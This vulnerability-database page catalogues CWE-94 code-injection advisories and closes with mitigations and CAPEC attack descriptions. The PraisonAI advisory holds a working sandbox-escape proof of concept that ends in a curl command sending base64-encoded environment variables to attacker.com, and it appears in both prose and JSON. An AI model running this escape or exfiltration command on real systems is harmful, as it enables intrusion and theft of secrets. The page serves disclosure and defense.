CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8322 vulnerabilities reference this CWE, most recent first.
GHSA-397Q-WHXP-H2P3
Vulnerability from github – Published: 2022-05-17 05:20 – Updated: 2022-05-17 05:20Best Practical Solutions RT 3.6.x, 3.7.x, and 3.8.x before 3.8.12 and 4.x before 4.0.6, when the VERPPrefix and VERPDomain options are enabled, allows remote attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2011-5092 and CVE-2011-5093.
{
"affected": [],
"aliases": [
"CVE-2011-4458"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-06-04T19:55:00Z",
"severity": "MODERATE"
},
"details": "Best Practical Solutions RT 3.6.x, 3.7.x, and 3.8.x before 3.8.12 and 4.x before 4.0.6, when the VERPPrefix and VERPDomain options are enabled, allows remote attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2011-5092 and CVE-2011-5093.",
"id": "GHSA-397q-whxp-h2p3",
"modified": "2022-05-17T05:20:48Z",
"published": "2022-05-17T05:20:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4458"
},
{
"type": "WEB",
"url": "http://lists.bestpractical.com/pipermail/rt-announce/2012-May/000202.html"
},
{
"type": "WEB",
"url": "http://lists.bestpractical.com/pipermail/rt-announce/2012-May/000203.html"
},
{
"type": "WEB",
"url": "http://lists.bestpractical.com/pipermail/rt-announce/2012-May/000204.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49259"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/53660"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3982-G3VQ-HHJ6
Vulnerability from github – Published: 2022-05-01 06:38 – Updated: 2022-05-01 06:38GUI display truncation vulnerability in Mozilla Thunderbird 1.0.2, 1.0.6, and 1.0.7 allows user-assisted attackers to execute arbitrary code via an attachment with a filename containing a large number of spaces ending with a dangerous extension that is not displayed by Thunderbird, along with an inconsistent Content-Type header, which could be used to trick a user into downloading dangerous content by dragging or saving the attachment.
{
"affected": [],
"aliases": [
"CVE-2006-0236"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-01-18T01:07:00Z",
"severity": "MODERATE"
},
"details": "GUI display truncation vulnerability in Mozilla Thunderbird 1.0.2, 1.0.6, and 1.0.7 allows user-assisted attackers to execute arbitrary code via an attachment with a filename containing a large number of spaces ending with a dangerous extension that is not displayed by Thunderbird, along with an inconsistent Content-Type header, which could be used to trick a user into downloading dangerous content by dragging or saving the attachment.",
"id": "GHSA-3982-g3vq-hhj6",
"modified": "2022-05-01T06:38:18Z",
"published": "2022-05-01T06:38:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-0236"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=300246"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/24164"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/15907"
},
{
"type": "WEB",
"url": "http://secunia.com/secunia_research/2005-22/advisory"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDKSA-2006:021"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/422148/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/16271"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/0230"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-398J-F7M7-795J
Vulnerability from github – Published: 2022-10-06 21:25 – Updated: 2023-02-15 19:34Impact
Arbitrary additional email headers can be injected via crafted From or Sender headers.
Patches
Fixed in 2.2.1
Workarounds
Filter user-supplied values prior to using them in From or Sender properties.
References
https://nvd.nist.gov/vuln/detail/CVE-2012-0796
For more information
If you have any questions or comments about this advisory: * Open a private issue in the PHPMailer project
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phpmailer/phpmailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-0796"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-10-06T21:25:46Z",
"nvd_published_at": "2012-07-17T10:20:00Z",
"severity": "HIGH"
},
"details": "### Impact\nArbitrary additional email headers can be injected via crafted From or Sender headers.\n\n### Patches\nFixed in 2.2.1\n\n### Workarounds\nFilter user-supplied values prior to using them in From or Sender properties.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2012-0796\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)",
"id": "GHSA-398j-f7m7-795j",
"modified": "2023-02-15T19:34:00Z",
"published": "2022-10-06T21:25:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPMailer/PHPMailer/security/advisories/GHSA-398j-f7m7-795j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0796"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=783532"
},
{
"type": "WEB",
"url": "https://git.moodle.org/gw?p=moodle.git\u0026a=commit\u0026h=62988bf0bbc73df655f51884aaf1f523928abff9"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPMailer/PHPMailer"
},
{
"type": "WEB",
"url": "http://moodle.org/mod/forum/discuss.php?d=194015"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2012/dsa-2421"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "PHPMailer vulnerable to email header injection"
}
GHSA-39HR-239P-FHQC
Vulnerability from github – Published: 2025-11-12 21:27 – Updated: 2025-11-15 03:12Summary
If the "claims_parameter_supported" parameter is activated, it is possible through the "oidc-claims-extension.groovy" script, to inject the value of choice into a claim contained in the id_token or in the user_info. Authorization function requests do not prevent a claims parameter containing a JSON file to be injected. This JSON file allows users to customize claims returned by the "id_token" and "user_info" files. This allows for a very wide range of vulnerabilities depending on how clients use claims. For example, if some clients rely on an email field to identify a user, users can choose to entera any email address, and therefore assume any chosen identity.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.openidentityplatform.openam:openam-oauth2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "16.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64099"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-12T21:27:22Z",
"nvd_published_at": "2025-11-12T19:15:38Z",
"severity": "HIGH"
},
"details": "### Summary\nIf the \"claims_parameter_supported\" parameter is activated, it is possible through the \"oidc-claims-extension.groovy\" script, to inject the value of choice into a claim contained in the id_token or in the user_info.\nAuthorization function requests do not prevent a claims parameter containing a JSON file to be injected. This JSON file allows users to customize claims returned by the \"id_token\" and \"user_info\" files.\nThis allows for a very wide range of vulnerabilities depending on how clients use claims. For example, if some clients rely on an email field to identify a user, users can choose to entera any email address, and therefore assume any chosen identity.",
"id": "GHSA-39hr-239p-fhqc",
"modified": "2025-11-15T03:12:52Z",
"published": "2025-11-12T21:27:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-39hr-239p-fhqc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64099"
},
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenAM/commit/4254b34b2b8b4867f2e7fccfac73904213d48510"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenIdentityPlatform/OpenAM"
},
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/16.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "OpenAM: Using arbitrary OIDC requested claims values in id_token and user_info is allowed "
}
GHSA-39J2-4P9J-5W4J
Vulnerability from github – Published: 2024-05-15 21:32 – Updated: 2024-05-15 21:32This Security Advisory is about a vulnerability in the Legacy shop module. A backend editor could perform object injection in discount rules. This would require backend access and permission to edit discount rules. While object injection in itself is a serious vulnerability, the permission requirement means that normally only administrators would be able to exploit it, that's why it was classified as Medium severity.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ezsystems/ezpublish-legacy"
},
"ranges": [
{
"events": [
{
"introduced": "2019.3.0"
},
{
"fixed": "2019.3.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "ezsystems/ezpublish-legacy"
},
"ranges": [
{
"events": [
{
"introduced": "2017.12.0"
},
{
"fixed": "2017.12.7.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "ezsystems/ezpublish-legacy"
},
"ranges": [
{
"events": [
{
"introduced": "5.4.0"
},
{
"fixed": "5.4.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-15T21:32:29Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "This Security Advisory is about a vulnerability in the Legacy shop module. A backend editor could perform object injection in discount rules. This would require backend access and permission to edit discount rules. While object injection in itself is a serious vulnerability, the permission requirement means that normally only administrators would be able to exploit it, that\u0027s why it was classified as Medium severity.",
"id": "GHSA-39j2-4p9j-5w4j",
"modified": "2024-05-15T21:32:29Z",
"published": "2024-05-15T21:32:29Z",
"references": [
{
"type": "WEB",
"url": "https://ezplatform.com/security-advisories/ibexa-sa-2020-006-object-injection-in-legacy-shop-module"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/ezsystems/ezpublish-legacy/2020-10-05-1.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/ezsystems/ezpublish-legacy"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Ez Platform Object Injection in legacy shop module"
}
GHSA-39MF-CMV2-55VM
Vulnerability from github – Published: 2022-05-17 05:17 – Updated: 2025-04-11 04:05Opera before 12.10 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a malformed SVG image.
{
"affected": [],
"aliases": [
"CVE-2012-6465"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-01-02T11:46:00Z",
"severity": "HIGH"
},
"details": "Opera before 12.10 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a malformed SVG image.",
"id": "GHSA-39mf-cmv2-55vm",
"modified": "2025-04-11T04:05:58Z",
"published": "2022-05-17T05:17:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-6465"
},
{
"type": "WEB",
"url": "http://www.opera.com/docs/changelogs/unified/1210"
},
{
"type": "WEB",
"url": "http://www.opera.com/support/kb/view/1033"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-39MX-WJ78-MM9G
Vulnerability from github – Published: 2025-07-25 18:30 – Updated: 2025-07-25 18:30A client-side security misconfiguration vulnerability exists in OpenBlow whistleblowing platform across multiple versions and default deployments, due to the absence of critical HTTP response headers including Content-Security-Policy, Referrer-Policy, Permissions-Policy, Cross-Origin-Embedder-Policy, and Cross-Origin-Resource-Policy. This omission weakens browser-level defenses and exposes users to cross-site scripting (XSS), clickjacking, and referer leakage. Although some instances attempt to enforce CSP via HTML tags, this method is ineffective, as modern browsers rely on header-based enforcement to reliably block inline scripts and untrusted resources.
{
"affected": [],
"aliases": [
"CVE-2025-34114"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T16:15:28Z",
"severity": "HIGH"
},
"details": "A client-side security misconfiguration vulnerability exists in OpenBlow whistleblowing platform across multiple versions and default deployments, due to the absence of critical HTTP response headers including Content-Security-Policy, Referrer-Policy, Permissions-Policy, Cross-Origin-Embedder-Policy, and Cross-Origin-Resource-Policy. This omission weakens browser-level defenses and exposes users to cross-site scripting (XSS), clickjacking, and referer leakage. Although some instances attempt to enforce CSP via HTML \u003cmeta\u003e tags, this method is ineffective, as modern browsers rely on header-based enforcement to reliably block inline scripts and untrusted resources.",
"id": "GHSA-39mx-wj78-mm9g",
"modified": "2025-07-25T18:30:38Z",
"published": "2025-07-25T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34114"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2025/Jul/13"
},
{
"type": "WEB",
"url": "https://www.openblow.it"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openblow-missing-critical-security-headers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-39WH-FW9M-CF9W
Vulnerability from github – Published: 2022-05-17 05:34 – Updated: 2025-04-11 03:55The ATRAC codec in RealNetworks RealPlayer 11.x and 14.x through 14.0.7, RealPlayer SP 1.0 through 1.1.5, and Mac RealPlayer 12.x before 12.0.0.1703 does not properly decode samples, which allows remote attackers to execute arbitrary code via a crafted ATRAC audio file.
{
"affected": [],
"aliases": [
"CVE-2012-0928"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-02-08T15:55:00Z",
"severity": "HIGH"
},
"details": "The ATRAC codec in RealNetworks RealPlayer 11.x and 14.x through 14.0.7, RealPlayer SP 1.0 through 1.1.5, and Mac RealPlayer 12.x before 12.0.0.1703 does not properly decode samples, which allows remote attackers to execute arbitrary code via a crafted ATRAC audio file.",
"id": "GHSA-39wh-fw9m-cf9w",
"modified": "2025-04-11T03:55:16Z",
"published": "2022-05-17T05:34:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0928"
},
{
"type": "WEB",
"url": "http://service.real.com/realplayer/security/02062012_player/en"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3C23-3VH8-88JR
Vulnerability from github – Published: 2022-05-02 03:35 – Updated: 2022-05-02 03:35Microsoft Windows Media Format Runtime 9.0, 9.5, and 11; and Microsoft Media Foundation on Windows Vista Gold, SP1, and SP2 and Server 2008; allows remote attackers to execute arbitrary code via an MP3 file with crafted metadata that triggers memory corruption, aka "Windows Media Playback Memory Corruption Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2009-2499"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-09-08T22:30:00Z",
"severity": "HIGH"
},
"details": "Microsoft Windows Media Format Runtime 9.0, 9.5, and 11; and Microsoft Media Foundation on Windows Vista Gold, SP1, and SP2 and Server 2008; allows remote attackers to execute arbitrary code via an MP3 file with crafted metadata that triggers memory corruption, aka \"Windows Media Playback Memory Corruption Vulnerability.\"",
"id": "GHSA-3c23-3vh8-88jr",
"modified": "2022-05-02T03:35:50Z",
"published": "2022-05-02T03:35:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2499"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-047"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5531"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA09-251A.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3C4R-6P77-XWR7
Vulnerability from github – Published: 2026-04-10 19:25 – Updated: 2026-04-10 19:25PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.
Description
The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:
The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.
type.__getattribute__(obj, '__subclasses__') # Bypasses filter
The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.
Proof of Concept
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)
# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]
# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()
# Find _wrap_close class
for c in all_subclasses:
if t.__getattribute__(c, '__name__') == '_wrap_close':
# Get __init__.__globals__ via bypass
init = t.__getattribute__(c, '__init__')
glb = type(init).__getattribute__(init, '__globals__')
# Get system function and execute
system = glb['system']
system('curl https://attacker.com/steal --data "$(env | base64)"')
Impact
This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.
An attacker can:
- Access sensitive data such as environment variables, API keys, and local files
- Execute arbitrary system commands
- Modify or delete files on the system
In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.
Affected Code
# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
tree = ast.parse(code)
for node in ast.walk(tree):
# Only checks ast.Attribute nodes
if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
raise SecurityError(...)
# Bypass: string arguments are not checked
exec(compiled, safe_globals)
Reporter: Lakshmikanthan K (letchupkt)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.128"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40158"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:25:39Z",
"nvd_published_at": "2026-04-10T17:17:13Z",
"severity": "HIGH"
},
"details": "PraisonAI\u0027s AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.\n\n## Description\n\nThe `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:\n\nThe sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.\n\n\n```python\ntype.__getattribute__(obj, \u0027__subclasses__\u0027) # Bypasses filter\n```\n\nThe string `\u0027__subclasses__\u0027` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.\n\n## Proof of Concept\n\n```python\n# This code bypasses the sandbox and achieves RCE\nt = type\nint_cls = t(1)\n\n# Bypass blocked __bases__ via type.__getattribute__\nbases = t.__getattribute__(int_cls, \u0027__bases__\u0027)\nobj_cls = bases[0]\n\n# Bypass blocked __subclasses__\nsubclasses_fn = t.__getattribute__(obj_cls, \u0027__subclasses__\u0027)\nall_subclasses = subclasses_fn()\n\n# Find _wrap_close class\nfor c in all_subclasses:\n if t.__getattribute__(c, \u0027__name__\u0027) == \u0027_wrap_close\u0027:\n # Get __init__.__globals__ via bypass\n init = t.__getattribute__(c, \u0027__init__\u0027)\n glb = type(init).__getattribute__(init, \u0027__globals__\u0027)\n \n # Get system function and execute\n system = glb[\u0027system\u0027]\n system(\u0027curl https://attacker.com/steal --data \"$(env | base64)\"\u0027)\n```\n\n---\n\n## Impact\n\nThis vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.\n\nAn attacker can:\n\n* Access sensitive data such as environment variables, API keys, and local files\n* Execute arbitrary system commands\n* Modify or delete files on the system\n\nIn environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.\n\n---\n\n## Affected Code\n\n```python\n# praisonaiagents/tools/python_tools.py (approximate)\ndef _execute_code_direct(code, ...):\n tree = ast.parse(code)\n \n for node in ast.walk(tree):\n # Only checks ast.Attribute nodes\n if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:\n raise SecurityError(...)\n \n # Bypass: string arguments are not checked\n exec(compiled, safe_globals)\n```\n\n\n**Reporter:** Lakshmikanthan K (letchupkt)",
"id": "GHSA-3c4r-6p77-xwr7",
"modified": "2026-04-10T19:25:39Z",
"published": "2026-04-10T19:25:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40158"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.